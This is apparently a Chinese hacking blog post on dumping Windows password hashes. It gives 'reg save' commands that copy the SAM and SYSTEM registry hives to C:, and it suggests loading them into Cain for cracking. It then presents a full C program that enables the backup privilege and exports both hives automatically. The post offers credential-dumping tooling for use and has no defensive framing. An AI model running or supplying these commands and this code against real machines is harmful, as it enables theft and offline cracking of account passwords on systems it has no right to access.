得系统 Hash

Pwdump 得 hash 很不稳定。有个方便的方法:

reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive

然后在 Cain 的 Cracker 中导进这两个文件就可以尝试破解 hash 了。虽然这个方法很好用,不过 reg save 需要 Administrators 的权限。可以用批处,哥直接跑程序。

#include <stdio.h>
#include <windows.h>

int main()
{
    char szSam_Key[] = "SAM";
    char szSystem_Key[] = "SYSTEM";
    char szSecurity_Key[] = "SECURITY";
    HKEY hKey;
    HANDLE hToken = NULL;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;
    printf("=================================================\n");
    printf("By:乱雪\n");
    printf("Blog:hi.baidu.com/lu4nx\n");
    printf("说明:C盘目录下生成 sam.hive 和 system.hive 两个文件,直接用 Cain 跑密码\n");
    printf("注意:需要 Administrator 权限\n");
    printf("=================================================\n");

    // 调整权限,需要 SE_BACKUP_NAME 权限
    if ( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        printf("OpenProcessToken Faild\n");
        return 0;
    }

    if ( !LookupPrivilegeValue(NULL,
                               SE_BACKUP_NAME,
                               &sedebugnameValue
                               ))
    {
        printf("LookupPrivilegeValue Faild\n");
        return 0;
    }
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if ( !AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    {
        printf("AdjustTokenPrivileges\n");
        return 0;
    }

    // 导出 SAM
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, szSam_Key, 0, KEY_ALL_ACCESS, &hKey);
    if (  NULL != hKey )
    {
        // printf("Open Key Success.\n");
        RegSaveKeyEx(hKey, "c:\\sam.hive", NULL, REG_STANDARD_FORMAT);
    } else {
        printf("打开SAM出错\n");
        return 0;
    }

  // 导出 SYSTEM
  RegOpenKeyEx(HKEY_LOCAL_MACHINE, szSystem_Key, 0, KEY_ALL_ACCESS, &hKey);
  if (NULL != hKey )
  {
      // printf("Open Key Success.\n");
      RegSaveKeyEx(hKey, "c:\\system.hive", NULL, REG_STANDARD_FORMAT);
  } else {
      printf("打开SYSTEM出错\n");
      return 0;
  }

  RegCloseKey(hKey);
  return 0;
  }